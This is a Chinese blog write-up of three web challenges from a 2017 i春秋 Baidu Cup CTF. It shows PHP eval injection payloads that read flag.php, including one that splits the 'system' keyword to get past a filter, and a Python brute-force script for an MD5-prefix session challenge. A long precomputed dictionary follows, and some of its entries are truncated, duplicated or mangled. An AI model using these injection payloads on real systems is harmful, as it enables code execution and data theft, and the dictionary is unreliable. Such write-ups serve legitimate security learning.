

i春秋 百度杯”CTF比赛（二月场） Misc&&web题解 By

Assassin

原创

[Assassin_is_me](#) 于 2017-03-16 23:41:14 发布 19460 收藏 5

分类专栏: [Web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qg_35078631/article/details/62438259

版权



[Web 专栏收录该内容](#)

41 篇文章 0 订阅

订阅专栏

学习web, 搞起来!

[百度杯”CTF比赛（二月场）训练赛传送门](#)

爆破-1

打开题目我们直接就看到源码, 加上注释如下

```
<?php
include "flag.php"; //包含flag.php这个文件
$a = @$_REQUEST['hello']; // $a这个变量请求变量hello的值
if(!preg_match('/^\w*$/',$a )){ //正则表达式, 匹配字符串, \w表示字母+数字+下划线, *代表有若干个\w字符组成.
    die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);"); //如果匹配输出 $$a的值
show_source(__FILE__);
?>
```

而且通过题目链接可以知道hello变量一定是6位的, 一开始真以为是爆破了, 但是一想肯定很大, 不可能。而且我们发现 \$\$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如

```
<?php
$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>
```

上面代码会输出hello world!

PHP一个比较有意思的变量!GLOBALS: 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

于是我们在url上构造/?hello=GLOBALS, 结果就直接出来了! 根本不是爆破好吧!

爆破-2

这时候代码为

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

我们可以看到第一种方法不好用了，所以另辟他径！我们注意到flag.php，会不会答案就在这个里面呢？而且"var_dump(\$a);"这个字符串是不是可以注入呢？明显是可以的！

构造payload如下

```
?hello=);echo%20`cat%20./flag.php`;//
```

然后这里面就必须讲一下一些小技巧！第一单引号，双引号，反引号在bash中的作用！

(PS: 反引号位(`)位于键盘的Tab键的上方、1键的左方。注意与单引号(')位于Enter键的左方的区别。)

反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下：

```
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST
```

单引号、双引号用于用户把带有空格的字符串赋值给变量时的分界符。如果没有单引号或双引号，shell会把空格后的字符串解释为命令。

单引号和双引号的区别。单引号告诉shell忽略所有特殊字符，而双引号忽略大多数，但不包括\$、\、`。

栗子：

```
[root@localhost tmp]# echo `the date is `date``
the date is `date`
[root@localhost tmp]# echo "the date is `date`"
the date is Fri Oct 9 00:11:56 CST 2015
```

是不是发现了什么！eval("var_dump(\$a);");正式双引号！！！我们就可以用`了！

然后用cat读取输出即可！

这里还收集了其他的姿势！payload如下：

```
?hello=$a);print_r(file("./flag.php")); //
```

```
hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php");
// 这里发现 i春秋 在http请求中拦截了 system 函数等关键字，
因此可以通过 php 的字符串连接成为函数名，然后进行调用
这里其实是把 system 函数名作为字符串分开，这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字
```

爆破-3

首先我们看到题目的脚本

```

<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
    session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}

if($_SESSION['nums']>=10){
    echo $flag;
}

show_source(__FILE__);
?>

```

简易的分析可以知道生成几个SESSION变量，其中time是计时的，nums是计数的。当nums没有设置的时候会给一个初始化变量。需要在120s内完成遮掩一件事。脚本用随机数跑出两位的字符串，你需要输入一个串前两位和随机生成的串相等，而且输入串的MD5值的第5-9为必须为“0000”。这个时候全部匹配的话nums++。在匹配后whoami被更新，但是它在页面中输出了，我们可以知道！当nums在120s内完成10次以上就可以得到flag。

那么问题来了，真的是爆破的话我们需要跑出一个字典，分别记录26*26种开头对应满足条件的串。

爆破脚本

```

# -*- coding:utf-8 -*-
#这个脚本用random包的随机串，生成的速度慢一些
import random
import hashlib
str1=["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t"]

def findgood(str2):
    for i in range(1000000):
        password=str2
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        if(hashlib.md5(password).hexdigest()[5:9]=="0000"):
            return password
    return "Not find!"

result=open('mima.txt','a+')
for i in str1:
    for j in str1:
        password=findgood(i+j)
        print i+j+" "+password
        result.write(i+j+": "+password)
result.close()

```

然后我们就要用脚本链接目标网站了，但是有一个问题，用python实现的时候要用requests中的requests.Session()，而不可以直接urlopen，因为每一次这样打开相当于新的链接进入，session是不会保存的！注意！

下面是实验成功代码（注意我这么写主要根据的字典的格式）

```

import requests
file = 'C:\\xxxx\\mima.txt'
mima= open(file,'r+')
content=mima.readlines()
session = requests.Session()
value = "ea"
url = "http://dc600d84281e40cba349347d92660cd31c3a29f654104b35.ctf.game/?value="
for i in range(12):
    for j in content:
        if j[0:2]==value:
            md5value=j[3:11]
            response=session.get(url+md5value)
            temp=response.text
            value=temp[0:2]
            if i >10:
                print temp

```

顺手分享一下现成的字典

```

aa aawkntax
ab abbjfesk
ac achfwxqv
ad adjsvcmd
ae aegryksl
af afbqavho
ag agmesuet

```

ag agmsd0c
ah ahzfkqkb
ai aivobshx
aj ajgenzvw
ak akuwdoez
al aloapjto
am amauirgd
an anndsmce
ao aoeiktji
ap apzzqskh
aq aqotslgf
ar arufddla
as asalapxu
at atinpfjx
au auqbksqt
av avocmtkk
aw awnadxzu
ax axdrwaja
ay aygsykas
az azqxwdyo
ba banipmif
bb bbdpirxv
bc bclbfjqe
bd bduhwyii
be bekwgcxd
bf bfhoiwey
bg bgbfpmws
bh bhmojqhg
bi biuhupvb
bj bjowwiv
bk bkgmsgl
bl blfnqewn
bm bmksxqzl
bn bnqnzamc
bo boukkgsz
bp bpgbymik
bq bqqaqkkj
br brzfedob
bs bsizxozv
bt btlllpn
bu buxwetkv
bv bvvhpxrz
bw bwiudbba
bx bxxdreia
by bydzldxy
bz bzmewmzd
ca capwierq
cb cbqcicxf
cc ccicavlb
cd cdmpukg
ce ceibrxnl
cf cfdholgi
cg cgaeqnx
ch choezwow
ci ciybbwxt
cj cjfzcnmp
ck ckczxjxy
cl clwdoszz
cm cmazzpr
cn cnfzzmda

co coqumsda
cp cpfftmih
cq cqpljdz
cr crwnqcji
cs csohcjj
ct ctijkwec
cu cusrvfnl
cv cvmhepir
cw cwnujazq
cx cxhvrzos
cy cynudbij
cz czfmojyb
da dajznvxq
db dbptbbpz
dc dcoemeee
dd ddxthrii
de dehtqkp
df dfzoznuo
dg dgetxjlb
dh dhkezlfq
di didgcjca
dj djwixmxk
dk dkshvkgi
dl dldsrsam
dm dmhzbsvr
dn dnncidlm
do dovxdvhr
dp dpiwclzf
dq dqhfiudt
dr drynyvae
ds dsubyjen
dt dtykrqpd
du dupepwhb
dv dvkzpfpt
dw dwlmhlfk
dx dxnuipsu
dy dywcgyfk
dz dzxgyjyw
ea earteyes
eb ebmvhnym
ec echblymf
ed edtncefp
ee eecjcbpd
ef efkdpaqd
eg egcdpzmb
eh ehbvdxlj
ei eirtsjxp
ej ejbhxrsy
ek ekrojqr
el eloibbxl
em emveuhil
en enwebskq
eo eouofwbe
ep epumonps
eq eqkeeoac
er erppzuqw
es esxhodxw
et etgndtdf
eu eujtohoj

ev evdurrgo
ew ewouccrh
ex exqsfqns
ey eydkhomk
ez ezhlchmw
fa fafzimir
fb fbylznev
fc fcvpemut
fd fdziqfzw
fe fecirbtk
ff ffdadnlv
fg fgyyiry
fh fhckktdl
fi finpccjm
fj fjvtkeco
fk fkcxskan
fl flovrkve
fm fmbealqu
fn fnhbcqen
fo foefwksl
fp fpwqmkfg
fq fqgyqchb
fr frpcqlul
fs fsjridbw
ft ftrgiqke
fu fudsbmvy
fv fvzuwuke
fw fwgpmffn
fx fxyebdhh
fy fyqyogar
fz fzdolwlp
ga gapkitff
gb gbofykyh
gc gcgchndw
gd gdqaymoj
ge geffsndj
gf gffxdwom
gg ggzayqlx
gh ghqkyhvr
gi gilbuahw
gj gjysrbtq
gk gkyxskxm
gl glzllqpm
gm gmoraxsl
gn gnnrimld
go gobsfcep
gp gpcosvtz
gq gqpnjuk
gr grevzjlk
gs gsqgtgjc
gt gtxccyau
gu guvdfngf
gv gvpxkoib
gw gwyjlrfn
gx gxuwnogn
gy gykzfcef
gz gzc mjnga
ha hazucwrp
hb hbdllvwf
hc hcbhlaja

hd hdwfavfp
he heevhdvl
hf hfuwbsmo
hg hgiagijc
hh hhpsgdfy
hi hifckmer
hj hjrqnvvj
hk hkdbtgcn
hl hlcxhfbh
hm hmlydtoa
hn hnysavbn
ho hoxrihot
hp hpjskcfg
hq hqpaxnwx
hr hrdaouuo
hs hsinwfts
ht htgtnusc
hu humdzfne
hv hvlzqqkw
hw hwcemcht
hx hxahhsbm
hy hymattiq
hz hzwoutwd
ia iaqnjwwb
ib ibejrmtz
ic icwqyfpv
id idqqcbdy
ie iebkunoj
if ifpcdnuj
ig igkodbdq
ih ihsidrdd
ii iienhwsm
ij ijxmalsq
ik ikuqvzrw
il ilqfzswp
im imkgswsg
in inhthdpdq
io ionbekgu
ip ipkkpoed
iq iqemqrba
ir irthfvfg
is isbxzvth
it ithjdgmn
iu iuqrosnx
iv ivtmpriq
iw iwwpldec
ix ixwsands
iy iyecfqyb
iz izmytcgr
ja jamssgek
jb jbexxzuq
jc jcaxisnx
jd jdrddgre
je jetagess
jf jfassqne
jg jgnhsvga
jh jhzmrnwn
ji jicixxry
jj jjvmwybj

jk jkkggdnr
jl jlyfapce
jm jmgviuna
jn jnrtdrdp
jo jowpevpr
jp jpp1swjf
jq jqbnewgg
jr jrodxodi
js jstsropv
jt jtxayowq
ju juxbkedf
jv jvwgzaqi
jw jwyzabpm
jx jxvkkjvd
jy jyerpukc
jz jzrfttrdb
ka kaolkzyr
kb kbppacrs
kc kcvrigqr
kd kdyibdmr
ke ketymgvf
kf kfyldpwa
kg kgmiitgl
kh khhqwzqm
ki kijpvqut
kj kjrbvzlj
kk kkunucbq
kl klsklmnf
km kmamiypq
kn knqezidp
ko kohayxdz
kp kpncguqe
kq kqoufyfz
kr krefwkrd
ks kspoquhf
kt ktyimlg
ku kuwylyjz
kv kveskxbf
kw kwqfwkew
kx kxjlkfbv
ky kyvftzgl
kz kzhrbtjf
la laaqject
lb lbmceyxr
lc lcudztpt
ld ld1gscwm
le letnuruj
lf lfyuomh
lg lgvimebg
lh lhavdbtq
li lipwioaa
lj ljhastxm
lk lkuosoym
ll llyaisuj
lm 1mppefed
ln 1nddbfnf
lo loanhizz
lp lpomcqqu
lq lqwkdj1t
lr lrcaoi1m

ls lsaongos
lt lttoyhty
lu lufmipms
lv lvxrbrik
lw lwuzrwav
lx lxyvoakg
ly lyyvfpfh
lz lzzwhyhc
ma mapbgxtu
mb mblpbqwf
mc mctzguem
md mdugqjyv
me meomqmlm
mf mffdqegx
mg mgzkxhpc
mh mhwverea
mi miaoxyat
mj mjzplpjp
mk mkdcnarr
ml mlktrhfw
mm mmdbugun
mn mnxvryar
mo motkrtqe
mp mpeqbgqp
mq mqojffio
mr mrjedgis
ms msdscqsu
mt mtmkfwvy
mu muaqkuuo
mv mvxlovrh
mw mwcahvpu
mx mxpflcog
my myphnova
mz mzsealnm
na nangvypa
nb nbxbdecv
nc ncvhxdkq
nd ndmohqbz
ne nebbwahz
nf nfjvmrow
ng nghmcbly
nh nhoqsheh
ni nigvthee
nj njqfyweb
nk nkekuwtg
nl nlixyeqj
nm nmurmfbj
nn nnzhrmzr
no nogodsmu
np npmvsbch
nq nqhlwuck
nr nralxfhx
ns nssklpkz
nt ntdbnlfd
nu nucvmzsv
nv nvefivss
nw nwnjofhg
nx nxlywbsz
ny nykjlbvk

nz nzlbwyls
oa oapyfcop
ob obyenzsp
oc ocrfphbz
od odwqtbiy
oe oejixcka
of ofdpzuyw
og ogtefvwg
oh ohtbanyu
oi oiyjeewr
oj ojsnhpcp
ok okcrycvc
ol olqlbtvy
om omgdalhy
on onrylers
oo ooxfszqz
op oppkrhrz
oq oqotlrqe
or orfsncma
os oswywryz
ot otuqgble
ou outhegom
ov ovwyiiuz
ow ownbtssi
ox oxlxmlpz
oy oydtvzxf
oz ozjfaoot
pa paghhmyr
pb pbcxkbft
pc pcusbrqn
pd pdujkuod
pe pexhyaoc
pf pfwtualw
pg pgrydiaj
ph phirsse1
pi pidgeqcy
pj pjtslsmo
pk pkrxlrui
pl plstqrdx
pm pmyaeoht
pn pnxefudm
po poufywac
pp ppnddmmx
pq pqwmrjzi
pr priyqpv1
ps psqxwikf
pt ptkxeuti
pu pumttqtv
pv pvpvijka
pw pwoximiy
px pxysddzb
py pyufls1y
pz pzrvdden
qa qardmuda
qb qbaykdeh
qc qchtusz1f
qd qdiesoww
qe qetggivt
qf qftmovev
qg qguxhnau

qh qhhrleg
qi qipwrjbk
qj qjgdjwfa
qk qkquaneh
ql qldcrhfj
qm qmdrvhxb
qn qnukydnn
qo qolhjxnq
qp qpfamghb
qq qqwjvaia
qr qrqcbexl
qs qstvhvpg
qt qtwtjblze
qu quaghwkh
qv qvukdndx
qw qwnnhyvq
qx qxbspqou
qy qyrxwgpz
qz qzvztbj
ra raxzwudb
rb rbzculyy
rc rcvjvnlz
rd rdaddkjz
re rewpjcu
rf rfhmvhby
rg rgogudoj
rh rhvyingvk
ri rigsxwxk
rj rjveogko
rk rknxmiut
rl rlciiiti
rm rmacddes
rn rnowbelw
ro rotypitn
rp rphjazwp
rq rqxbpfzy
rr rreyzbdo
rs rsdbeglj
rt rtnaafup
ru ruiucsjh
rv rvebhrlb
rw rwbvzoyr
rx rxcoclrn
ry ryjycoid
rz rzdlkdny
sa sapvcqgu
sb sbpevonl
sc scwfahoc
sd sdqncuni
se seatltpn
sf sfbbobnb
sg sgdhtbh
sh shwypaus
si sifyqanq
sj sjhbkfmg
sk skpyetbl
sl slmimuja
sm smwabfhu
sn snimgltn

so soyvnpbh
sp spaknzmp
sq sqdxfbti
sr srpeakmn
ss sstojbhn
st sthctgnt
su sunqnwyy
sv svccwuzg
sw swktqnkz
sx sxpwzabq
sy symhvdjd
sz szprkzlu
ta tasrkbdl
tb tbteedzn
tc tcvlymhk
td tdewtzna
te tebyeavm
tf tfzrihve
tg tggfizmb
th thaaeqes
ti tiyemisd
tj tjdxyhst
tk tkvblaiq
tl tlgwwckf
tm tmsgpyul
tn tnvhkmi
to toduros
tp tpcbfush
tq tqfklchd
tr traqgxxc
ts tsswmmvt
tt ttlhkppl
tu tupvlooo
tv tvmbrafm
tw twvtnksd
tx txtzusts
ty tyeetouj
tz tzaazxss
ua uavkpkoa
ub ubgfgfbb
uc ucbdpppo
ud udbxgsrg
ue uegjkzyv
uf uffuroty
ug ugcsdqgg
uh uhfbvfyg
ui uidsehfw
uj ujqeivnz
uk ukfriivy
ul ulsmsmlu
um umhgpvud
un unylewuv
uo uofktdz
up upelfxpc
uq uqqpkse
ur urcjagb
us usrtzxcg
ut uttsyaet
uu uuqipdmy
uv uvuigrbay

uw uwqfxbjb

ux uxjtrjot

uy uysffvhq

uz uzmoviui

va vaszafbs

vb vbxlzgep

vc vcpcovqd

vd vdduswma

ve veqvxxkav

vf vfwlloev

vg vggyszfx

vh vhsrtiz

vi vimrdnxx

vj vjdzntnu

vk vkjlvpbf

vl vlcdokwh

vm vmeifrid

vn vnunawil

vo voqmpuz

vp vpyeuina

vq vqorxprp

vr vruwltfi

vs vsdonmbw

vt vtaqaxqp

vu vufsyvjo

vv vvsdqyqh

vw vwgxcyc

vx vxwrwhbp

vy vyasjmnd

vz vzmeccpa

wa waipknsf

wb wbyqaoxh

wc wcslelve

wd wdnkeoje

we wexeijsw

wf wfhliyck

wg wglfhocr

wh whcbzlx

wi wibrruar

wj wjjanicb

wk wkvmtnji

wl wlyhswqe

wm wmunahyc

wn wnxfiojy

wo wodvqblo

wp wprchvdq

wq wqzmbmb

wr wrpofgxx

ws wsxhpeiq

wt wtxbrtkf

wu wuszutup

wv wvxvbcaa

ww wwxuzjxs

wx wxhhbros

wy wyxrhhbd

wz wznjghm

xa xadfqzuk

xb xbvwpccg

xc xcqqarsg

xd xdsuihcd
xe xezdglsl
xf xfrmjtte
xg xgarigyg
xh xhuiboie
xi xijyxiza
xj xjvbewyn
xk xkksfwmr
xl xlosccki
xm xmuoxdqa
xn xnrfnllf
xo xocgfpdd
xp xpxvdljf
xq xqpvykcc
xr xrqfdcsi
xs xszsvkqe
xt xtqyrdxp
xu xujvhrbn
xv xvjxnuxm
xw xwqnmsba
xx xxrcwupf
xy xyorfdre
xz xzoprmt
ya yazafejm
yb ybwogpyn
yc ycaxhdug
yd ydbvkzdf
ye yenfxdqh
yf yfwavfda
yg yglxlgm
yh yheefgte
yi yimnoavm
yj yjzjyuyu
yk yktpwpsco
yl yliegplu
ym ymdhxzxa
yn ynkshubj
yo yodngrmd
yp ypzrvvah
yq yqhahgxe
yr yrhqbev1
ys ysptddzj
yt ytyocojg
yu yuezmwx
yv yvezdspd
yw ywgzrurg
yx yxyierlk
yy yypubgrf
yz yznhkps
za zaecekxx
zb zbnzsrde
zc zcwfjxch
zd zdhlvs1x
ze zetrbemj
zf zfflowil
zg zgjwwdca
zh zhpzzkkf
zi zipwluftp
zj zjgepord
zk zkuygao

zk zkdqgdu
zl zlewpinh
zm zmvzbgd
zn znmilqsa
zo zogbvcwe
zp zpnhcmao
zq zqswmmr
zr zrmmfnrh
zs zszxbedw
zt ztafdiqw
zu zuhzvehg
zv zvldsnqc
zw zwoqhuca
zx zxsijtny
zy zyxgbez
zz zzkmajgj



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)